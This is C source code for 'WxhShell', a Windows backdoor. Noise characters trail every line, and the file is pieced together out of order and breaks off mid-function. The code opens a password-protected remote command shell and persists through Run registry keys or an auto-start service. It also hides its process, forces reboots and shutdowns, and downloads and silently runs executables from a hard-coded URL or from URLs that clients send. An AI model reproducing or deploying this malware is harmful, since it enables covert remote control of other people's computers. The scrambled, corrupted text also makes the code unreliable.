  case 'd': { Dd(#   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Guc~] B  
    if(Boot(SHUTDOWN)) 7(q EHZEr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [%8t~zg  
    else { AS} FRNIVx  
    closesocket(wsh); L7_qs+  
    ExitThread(0); 9q ##)  
    } px!TRb f  
    break; 1nt VM+  
    } {Q&@vbw'  
  // 获取shell L=7 U#Q/DE  
  case 's': { "I)*W8wTn  
    CmdShell(wsh); jK[~d Y  
    closesocket(wsh); (&=<UGY(w  
    ExitThread(0); v-V#?+#  
    break; Ly?%RmHK  
  } XzX-Q'i=n0  
  // 退出 AjTkQ)  
  case 'x': { !L+4YA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `30og]F0YJ  
    CloseIt(wsh); YPjjSi:#  
    break; | JmEI9n2  
    } b"au9:F4@7  
  // 离开 /``4!jU  
  case 'q': { bVB_KE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jkPye{j  
    closesocket(wsh); vS! TnmF  
    WSACleanup(); y%y F34  
    exit(1); ,9(=Iu-?1  
    break; y?ps+ce93  
        } E@/yg(?d=  
  } A,tmy',d"  
  } D[m+= -  
*r b/BZX{  
  // 提示信息 h83;}>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DNP %]{J  
} <.DFa/G   
  } ST#OO!  
,?OV39h  
  return; qdlz#-B  
} Ya#,\;dTT  
7X Z5CX&  
// shell模块句柄 Mw0Kg9M  
int CmdShell(SOCKET sock) B,@<60u  
{ m+f?+c6  
STARTUPINFO si; 1;; is  
ZeroMemory(&si,sizeof(si)); .>5KwEK~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -,M*j|   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i\2d1Z  
PROCESS_INFORMATION ProcessInfo; 4CzT<cp  
char cmdline[]="cmd"; .|[5*-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2:31J4t-<  
  return 0; GI&XL'K&  
} 'T(7EL3$}  
Orb('Z,-3  
// 自身启动模式 $VWeo#b  
int StartFromService(void) B.wRZDEvc  
{ QKj-"y[  
typedef struct I:6N?lD4}0  
{ 9t 3mU:  
  DWORD ExitStatus; &"D *  
  DWORD PebBaseAddress; *rY@(|  
  DWORD AffinityMask;  aOS:rC  
  DWORD BasePriority; XZ@;Tyn0,  
  ULONG UniqueProcessId; (J c} K  
  ULONG InheritedFromUniqueProcessId; ?s4-2g  
}   PROCESS_BASIC_INFORMATION; ^)r^k8y'  
eYQq@lrWv  
PROCNTQSIP NtQueryInformationProcess; *W'F 6Hpu  
&P+7Um(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mSn>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N;<.::x  
$=7'Cm ?  
  HANDLE             hProcess; 8Ol#-2>k$  
  PROCESS_BASIC_INFORMATION pbi; @yBg)1AL  
qIbp0`m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6} DGEHc1  
  if(NULL == hInst ) return 0; V3<baxdE  
bB|UQaCl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0!WF,)/T7i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); byj}36LN62  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ohK_~  
7Z-'@m  
  if (!NtQueryInformationProcess) return 0; EhEUkZE3 )  
ub C(%Y_k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o80"ZU|=  
  if(!hProcess) return 0; @a AR99M  
MXS N <  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `rt  
[dm&I#m=  
  CloseHandle(hProcess); 'cs!(z-{x  
X!}  t``  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s "KPTV  
if(hProcess==NULL) return 0; )7U^&I,  
zEG6T*  
HMODULE hMod; #~A(%a  
char procName[255]; _j$"fg  
unsigned long cbNeeded; SZO$#  
sV8}Gv a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j2V"w&>b}  
@ ;%+Ms  
  CloseHandle(hProcess); X^!n'$^u  
T3HAr9i%)  
if(strstr(procName,"services")) return 1; // 以服务启动 vwVK ^B  
QEKRAPw  
  return 0; // 注册表启动 /S32)=(  
} nz72w_  
d|GQZAEJEt  
// 主模块 ?2hS<qXX  
int StartWxhshell(LPSTR lpCmdLine) Kjw4,z%\94  
{ =oZHN,  
  SOCKET wsl; ZLsfF =/G  
BOOL val=TRUE; k A`Z#yu  
  int port=0; i$~2pr  
  struct sockaddr_in door; 6jv_j[[  
4uQ\JD(*Eu  
  if(wscfg.ws_autoins) Install(); hf6=`M}>i  
s@USJ4#  
port=atoi(lpCmdLine); yc4?'k!  
l@ +lUx8  
if(port<=0) port=wscfg.ws_port; :}QBrd  
ET]PF,`  
  WSADATA data; lHRs3+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3j'A.S  
sVk+E'q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~vqVASUc,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^*CvKCS  
  door.sin_family = AF_INET; K gN=b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ws"{Y+L  
  door.sin_port = htons(port); G,tJ\xMw8  
{M`yYeo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6f"jl  
closesocket(wsl); C,*3a`/2M^  
return 1; i!H)@4jX  
} j_` [Z  
)?5027^  
  if(listen(wsl,2) == INVALID_SOCKET) { {FYWQ!L  
closesocket(wsl); AYhWeI+  
return 1; #[|~m;K(w  
} 9q +I  
  Wxhshell(wsl); _n6ge*,E  
  WSACleanup(); Z XCq>  
jZjWz1+  
return 0; y^PQgzm]  
#Tc]L<."  
} gMN>`Z`fV  
gYeKeW3)  
// 以NT服务方式启动 [v@3|@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L<t>o":o  
{ oRf.34  
DWORD   status = 0; fL0dy[Ch@  
  DWORD   specificError = 0xfffffff; U0%T<6*H  
tcDWx:Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ck:RlF[6C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bQU{)W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6Zr_W#SE  
  serviceStatus.dwWin32ExitCode     = 0; mf~Joluc J  
  serviceStatus.dwServiceSpecificExitCode = 0; 7a$K@iWU  
  serviceStatus.dwCheckPoint       = 0; e"Y ( 7<  
  serviceStatus.dwWaitHint       = 0; r6.`9  
KCBA`N8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 968<yO]  
  if (hServiceStatusHandle==0) return; /{)}y  
|j 9d.M  
status = GetLastError(); ~]sj.>P  
  if (status!=NO_ERROR) Vd+qi~kA  
{ ^T?zR7r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *~h@KQm7  
    serviceStatus.dwCheckPoint       = 0; |`T$Iq  
    serviceStatus.dwWaitHint       = 0; XmZs4~\K$G  
    serviceStatus.dwWin32ExitCode     = status; JfOBZQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; jHPkfwfAF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [b2KBww\  
    return; /9SEW!E  
  } fL^$G;_?3  
{yo{@pdX>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {GH0> 1&  
  serviceStatus.dwCheckPoint       = 0; q8m{zSr  
  serviceStatus.dwWaitHint       = 0; Kw%to9 eh)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @AB}r1E2  
} (Q]Ww_r~  
"[wkjNf%  
// 处理NT服务事件,比如:启动、停止 ~U;M1>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g~7x+cu0  
{ >PY Lk{q  
switch(fdwControl) CXQ+h  
{ *VUD!`F  
case SERVICE_CONTROL_STOP: #QUQC2P(~  
  serviceStatus.dwWin32ExitCode = 0; zIzL7oD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !_?K(X~/  
  serviceStatus.dwCheckPoint   = 0; 00 9[`Z  
  serviceStatus.dwWaitHint     = 0; 1"\^@qRv#  
  { ,`pUz[wl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D'8xP %P  
  } g=gM}`X%  
  return; < `Xt?K  
case SERVICE_CONTROL_PAUSE: +$uQ_ve  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; La2f]+sV  
  break; +#RgHo?f  
case SERVICE_CONTROL_CONTINUE: \ u*R6z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nF5\iV  
  break; ts:YJAu+F  
case SERVICE_CONTROL_INTERROGATE: |F}6Zv  
  break; r!N> FE  
}; 67tB8X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @<TC+M5!  
} H2jF=U"=  
XLgp.w;  
// 标准应用程序主函数 ykS-5E`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;f!}vo<;  
{ W" i3:r  
1 u~Xk?  
// 获取操作系统版本 )KdEl9o  
OsIsNt=GetOsVer(); 17E,Qnf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <#ng"1J  
D7lRZb  
  // 从命令行安装 oypF0?!m  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4=nh' U38  
WHy r;m3)  
  // 下载执行文件 s~NJy'Y  
if(wscfg.ws_downexe) { $=9g,39  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FyhLMW3  
  WinExec(wscfg.ws_filenam,SW_HIDE); D[ v2#2  
} X:>,3[hx|  
YlC$L$%Zd.  
if(!OsIsNt) { ?APCDZ^  
// 如果时win9x,隐藏进程并且设置为注册表启动 @hF$qevX  
HideProc(); K'c[r0Ew  
StartWxhshell(lpCmdLine); ["H2H rI2  
} )i^ S:2  
else  rY CIU  
  if(StartFromService()) v.6K;TY.  
  // 以服务方式启动 iu iVr$E  
  StartServiceCtrlDispatcher(DispatchTable); x+bC\,q  
else 0 K(&EpVE  
  // 普通方式启动 Kgw, ]E&7  
  StartWxhshell(lpCmdLine); 8b:GyC5L  
M nnVk=  
return 0; ZK4d;oa",  
} xUF5  
(:>Sh0.  
 GUps\:ss  
v ;nnr0;  
=========================================== 8\S$iGd  
NydF'N_1  
Oj>;[O"  
or`D-x)+@  
FL[,?RU?2  
&9ERlZ(A  
" Q%QIr  
pG^>y0  
#include <stdio.h> Y~B-dx'V  
#include <string.h> f+%s.[;A  
#include <windows.h> ROJ=ZYof  
#include <winsock2.h> (&1 56 5  
#include <winsvc.h> ,: Ij@u>)  
#include <urlmon.h> 5 )z'=  
=<X4LO)C  
#pragma comment (lib, "Ws2_32.lib") GGU>={D)  
#pragma comment (lib, "urlmon.lib") &9EcgazV  
}2''}-Nc  
#define MAX_USER   100 // 最大客户端连接数 owzcc-g  
#define BUF_SOCK   200 // sock buffer C.RXQ`-P}  
#define KEY_BUFF   255 // 输入 buffer #'5{ ?Cb  
ODxCD%L  
#define REBOOT     0   // 重启 .naSK`J,`  
#define SHUTDOWN   1   // 关机 bl-D{)X  
CsJ&,(s(  
#define DEF_PORT   5000 // 监听端口 eWr2UXv$  
?h:xO\h8  
#define REG_LEN     16   // 注册表键长度 hf:\^w  
#define SVC_LEN     80   // NT服务名长度 l^2m7 7)  
lvH} 8 lJ  
// 从dll定义API Eih6?Lpu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); skF}_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ub]s>aqy   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m#^;V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d^Rea8  
M7=|N:/_  
// wxhshell配置信息 :pLaxWus!  
struct WSCFG { g f<vQb|  
  int ws_port;         // 监听端口 FK @Gd)(  
  char ws_passstr[REG_LEN]; // 口令 <q`|,mc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,7)z avA  
  char ws_regname[REG_LEN]; // 注册表键名 A"6&   
  char ws_svcname[REG_LEN]; // 服务名 {$I1(DYN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6GoQJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jt0f*e YE8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j/F:j5O*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $U"pdf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eyy%2> b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %?BygG  
F{E`MK~f_  
}; L|p+;ex  
w&*oWI$i  
// default Wxhshell configuration sZ0)f!aH:_  
struct WSCFG wscfg={DEF_PORT, -ZoAbp$  
    "xuhuanlingzhe", A&V'WahC@I  
    1, _FCg5F2U  
    "Wxhshell", ) 3ZkKv;zY  
    "Wxhshell", s=Xg6D  
            "WxhShell Service", ft$!u-`  
    "Wrsky Windows CmdShell Service", ^fP5@T*f  
    "Please Input Your Password: ", ^sF(IV[>  
  1, C3KAQ U  
  "http://www.wrsky.com/wxhshell.exe", Oo/@A_JO@  
  "Wxhshell.exe" W^i[7 r  
    }; A#gy[.Bb  
'26 ,.1  
// 消息定义模块 T2TWb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w3M F62:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h#Z~x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P:UR:y([  
char *msg_ws_ext="\n\rExit."; 4MoxP  
char *msg_ws_end="\n\rQuit."; Qp-P[Tc  
char *msg_ws_boot="\n\rReboot..."; 2p~G][  
char *msg_ws_poff="\n\rShutdown..."; ^*F'[!. p  
char *msg_ws_down="\n\rSave to "; 1aezlDc*  
s0'6r$xj  
char *msg_ws_err="\n\rErr!"; %<1_\N7  
char *msg_ws_ok="\n\rOK!"; Y?%=6S  
@%8$k[  
char ExeFile[MAX_PATH]; 2tS,q_-=  
int nUser = 0; `We?j7O  
HANDLE handles[MAX_USER]; l - ~PX  
int OsIsNt; 2+yti,s+/  
*JO%.QNg  
SERVICE_STATUS       serviceStatus; @&GY5<&b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \^dYmU  
#'I<q  
// 函数声明 lt%9Zgr[u  
int Install(void); A27!I+M  
int Uninstall(void); rnC<(f22  
int DownloadFile(char *sURL, SOCKET wsh); L$?YbQo7  
int Boot(int flag); u6 4{w,  
void HideProc(void); oN,9#*PVL  
int GetOsVer(void); <1<0odB  
int Wxhshell(SOCKET wsl); bQHJ}aCi  
void TalkWithClient(void *cs); W(EN01d\  
int CmdShell(SOCKET sock); 1 0tt':  
int StartFromService(void); ^2nH6,LPS  
int StartWxhshell(LPSTR lpCmdLine); 'JJ :  
G4%dah 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); awSi0*d~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &H%z1Lp  
GD4+f|1.*  
// 数据结构和表定义  dK]#..  
SERVICE_TABLE_ENTRY DispatchTable[] =  5s<.qDc  
{ B %  
{wscfg.ws_svcname, NTServiceMain}, {*X|)nr  
{NULL, NULL} 1~S'' [  
}; 9 xFX"_J  
<-HWs@8#  
// 自我安装 o),@I#fM  
int Install(void) G#3$sz  
{ ~I@ % ysR  
  char svExeFile[MAX_PATH]; c LfPSA  
  HKEY key; gyob q'o-  
  strcpy(svExeFile,ExeFile); 7TA&u'  
)H{OqZZYD  
// 如果是win9x系统,修改注册表设为自启动 rfOrh^  
if(!OsIsNt) { BX2}ar  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \F<C$cys\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W,.Exh  
  RegCloseKey(key); ygxaT"3"=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =91f26c!~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IeB^BD+j  
  RegCloseKey(key); +XAM2uN5_.  
  return 0; ;W3c|5CE  
    } BLb'7`t  
  } k"+/DK,:  
} rGzGbI=  
else { 5Z[HlN|-!  
5G=fJAG  
// 如果是NT以上系统,安装为系统服务 ]T%wRd5&-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ! ~+mf^D  
if (schSCManager!=0) VVc-Dx  
{ 21hTun"W  
  SC_HANDLE schService = CreateService >viLvDng  
  ( DS7Pioa86  
  schSCManager, 2lxA/.f  
  wscfg.ws_svcname, &zHY0fxX  
  wscfg.ws_svcdisp, %Z yt;p2  
  SERVICE_ALL_ACCESS, j^D/ ,SW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =!=DISPo  
  SERVICE_AUTO_START, WB"90!  
  SERVICE_ERROR_NORMAL, WDh*8!)  
  svExeFile, 87hU#nVYh  
  NULL, Obc wmL  
  NULL, 2K2_-  
  NULL, (n2=.9k!  
  NULL, 6}:(m#+  
  NULL , 1il&  
  ); ki]i[cdk  
  if (schService!=0) Gk)6ljL  
  { l(~NpT{=V  
  CloseServiceHandle(schService); #3YYE5cB  
  CloseServiceHandle(schSCManager); ;RW5XnVx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); muKjeg'b  
  strcat(svExeFile,wscfg.ws_svcname); hho\e 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]F4|@+\9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;eP. B/N  
  RegCloseKey(key); Fb^,%K:  
  return 0; RY~m Q  
    } a'7RzN ,]  
  } .WlZT-  
  CloseServiceHandle(schSCManager); ?IR+OCAA  
} D}?JX5.  
} #wF6WxiG  
#$JY &!M  
return 1; ?aU-Y_pMe  
} r?WOum  
hD7Lgi-N)W  
// 自我卸载 |w.5*]?H  
int Uninstall(void) 5- "aK~@+  
{ }SGb`l  
  HKEY key; sDXQ{*6a  
*4g:V;L  
if(!OsIsNt) { 3_Mynop  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #|6M*;lN|  
  RegDeleteValue(key,wscfg.ws_regname); /z4n?&tM  
  RegCloseKey(key); !H`uN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O_Z   
  RegDeleteValue(key,wscfg.ws_regname); $WbfRyXi7'  
  RegCloseKey(key); S~{ }j vc  
  return 0; 0V'XE1h  
  } y&2O)z!B  
} %kiPE<<x  
} zC!Pb{IaH  
else { &DWSu`z  
hFDo{yI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uy$?B"Z  
if (schSCManager!=0) 8LlWXeD9  
{ rv %^2h<&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! p3vnOX6  
  if (schService!=0) C oO0~q  
  { t ZA%^Y  
  if(DeleteService(schService)!=0) { <is%lx(GDX  
  CloseServiceHandle(schService); p;LF-R  
  CloseServiceHandle(schSCManager); 3Oe\l[?$;  
  return 0; 7G23D  
  } nPjN\Es6  
  CloseServiceHandle(schService); 6"La`}B(T8  
  } qZX\riR  
  CloseServiceHandle(schSCManager); jn>RE   
} >\>!Q V1@  
} s@|TQ9e |j  
J\\o# -H  
return 1; 5}`e"X  
} Med0O~T%  
"ax"k0  
// 从指定url下载文件 E^t}p[s  
int DownloadFile(char *sURL, SOCKET wsh) LZA pz}  
{ 'h;x>r  
  HRESULT hr; t+n+_X  
char seps[]= "/"; x$24Nc1a'  
char *token; 8#15*'Y  
char *file; r~T3Ieb  
char myURL[MAX_PATH]; P6;Cohfh  
char myFILE[MAX_PATH]; GD }i=TK  
x: 2 o$+v3  
strcpy(myURL,sURL); usI$  
  token=strtok(myURL,seps); i,y7R?-K  
  while(token!=NULL) yUu+68Z6  
  { PA>su)N$  
    file=token; F6-U{+KU$!  
  token=strtok(NULL,seps); oCuKmK8  
  } yx/.4DW1Ua  
?a` $Y>?h  
GetCurrentDirectory(MAX_PATH,myFILE); R5MY\^H/A  
strcat(myFILE, "\\"); |1Pi`^  
strcat(myFILE, file); "9!CsloWhz  
  send(wsh,myFILE,strlen(myFILE),0); ??=7pFm  
send(wsh,"...",3,0); 3H@29TrJ+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +zSdP2s  
  if(hr==S_OK) D2Dk7//82Y  
return 0; H?j!f$sw  
else L@8C t  
return 1; of?0 y-LT%  
$rz'Ybs  
} :faB7wduW;  
+U,>D +  
// 系统电源模块 C/A~r  
int Boot(int flag) - x]gp5  
{ ^0T[V-PgiD  
  HANDLE hToken; Bhw|!Y&%  
  TOKEN_PRIVILEGES tkp; v6+<F;G3y>  
w1 tg7^(@  
  if(OsIsNt) { "SN+ ^`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g(F? qP_K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); } OAH/BW  
    tkp.PrivilegeCount = 1; XGMO~8 3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~[4zm$R^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;n=A245W\  
if(flag==REBOOT) { kK$*,]iCp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FK.Qj P:  
  return 0; f2RIOL,  
} y7Sj^muBY  
else { >X-*Hu'U#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6*=7ifS  
  return 0; PU^@BZ_m  
} /a:L"7z  
  } z+%74O"c  
  else { J9yB'yE8  
if(flag==REBOOT) { ,N`D{H"F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .3,6Oo  
  return 0; hDHIi\%  
} TGu]6NzyZ  
else { hXz@ (cF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d NgjM Q  
  return 0; UqZ#mKi  
} xEvm>BZi  
} ,]|*~dd>G  
d3K-|  
return 1; keL!;q|r-)  
} r&c31k]E  
sn?YD'>k  
// win9x进程隐藏模块 OFcqouGE  
void HideProc(void) "=\@ a=  
{ 1# X*kF  
<.B^\X$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [u}2xsSx  
  if ( hKernel != NULL ) 7T}r]C.  
  { !`EhVV8u-_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k?'<f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &u7oa  
    FreeLibrary(hKernel); F_C_K"[s  
  } Q XV8][  
h`b[c.%  
return; g?d*cwtU  
} 3&z.m/  
3Y+ bIz!  
// 获取操作系统版本 ;IX*4E'4s  
int GetOsVer(void) Jdp@3mP  
{ W;@9x1jK X  
  OSVERSIONINFO winfo; CxRh MhvP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N"q C-h  
  GetVersionEx(&winfo); ;IYH5sG{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W^AY:#eX~Q  
  return 1; 7JHS8C<]  
  else ,3E9H&@j  
  return 0; Du."O]syD  
} R x.]m0  
K]Onb{QY  
// 客户端句柄模块 cPm-)/E)i  
int Wxhshell(SOCKET wsl) Z-B b,8  
{ /l@h[}g+d-  
  SOCKET wsh; %:WM]dc  
  struct sockaddr_in client; ,,KGcDBj  
  DWORD myID; nlkQ'XGAI  
0x/3Xz  
  while(nUser<MAX_USER) 8x9$6HO  
{ :[ AP^  
  int nSize=sizeof(client); l`A4)8Y@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'fkaeFzOl  
  if(wsh==INVALID_SOCKET) return 1; pRLs*/Bw  
;&%G)f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @*rED6zH  
if(handles[nUser]==0) ;c;n.o.)/#  
  closesocket(wsh); 8${Yu  
else ';0NWFP  
  nUser++; C5^eD^[c  
  } ~8 w(M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ud8*yB  
}lzN)e  
  return 0; p>@S61 & [  
} (ATCP#lF  
>&3ATH;&(  
// 关闭 socket XgmblNp1  
void CloseIt(SOCKET wsh) 5Si\hk:o  
{ =!cI@TI  
closesocket(wsh); {k}EWV  
nUser--; \1p5$0z  
ExitThread(0); T|&2!Sh  
} 4fCg{  
+e6c4Tw/  
// 客户端请求句柄 0piBK=tE/  
void TalkWithClient(void *cs) BLvI[b|3gn  
{ FTg4i\Wp  
m*^|9*dIC  
  SOCKET wsh=(SOCKET)cs; Y/1,%8n  
  char pwd[SVC_LEN]; 2iM8V  
  char cmd[KEY_BUFF]; i!=2 8|_  
char chr[1]; ?$T39U^  
int i,j; !dW77kLTg  
<?I s~[2  
  while (nUser < MAX_USER) { gxku3<S  
A' \jaB  
if(wscfg.ws_passstr) { ", :Ta|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qWzzUM1=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d$G<g78D  
  //ZeroMemory(pwd,KEY_BUFF); XI*_ti  
      i=0; P;dp>jL  
  while(i<SVC_LEN) { u8wZ2j4S  
K~#wvUb  
  // 设置超时 dWI.t1`i  
  fd_set FdRead; Z{w{bf1&A  
  struct timeval TimeOut; kH43 T  
  FD_ZERO(&FdRead); hR$lX8  
  FD_SET(wsh,&FdRead); yT>t[t60/S  
  TimeOut.tv_sec=8; ffQ%GV_  
  TimeOut.tv_usec=0; s\`Vr;R:|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N+vU@)_lC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4#qjRmt  
N&0MA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {xC CUU  
  pwd=chr[0]; |@-%x.y  
  if(chr[0]==0xd || chr[0]==0xa) { 47iwb  
  pwd=0; 9 o7d3ir)  
  break; 7 \ <4LX  
  } yt&eY6Xp  
  i++; &E{5k{Y  
    } P'Fy,fNg  
4R U1tWQ%  
  // 如果是非法用户,关闭 socket K+` Vn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G@) I  
} ZHs hg`I`  
[LonY49  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,qRSB>5c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / -=(51}E  
4JHQ^i-aY  
while(1) { 9rb/hkX&  
.'SXRrn&:C  
  ZeroMemory(cmd,KEY_BUFF); tH:K6^oR  
(/_Q r2KfC  
      // 自动支持客户端 telnet标准   ndm19M8Y|  
  j=0;  :*M\z3`k  
  while(j<KEY_BUFF) { >EMgP1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k"SmbFn%N0  
  cmd[j]=chr[0]; wYf=(w \c  
  if(chr[0]==0xa || chr[0]==0xd) { e^@/ Bm+B  
  cmd[j]=0; ~^.&nph  
  break; 7F-b/AdVq  
  } (oxe\Qk  
  j++; ED/-,>[f  
    } k~Pm.@,3o  
13Z6dhZu  
  // 下载文件 s\&_Kbw] c  
  if(strstr(cmd,"http://")) { )).;p_nLZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YF{K9M!  
  if(DownloadFile(cmd,wsh)) <LW|m7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Et'C4od s  
  else 8mA6l0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N,ik&NIWy  
  } +&\TdvNI4  
  else { (W/jkm  
>*}qGk  
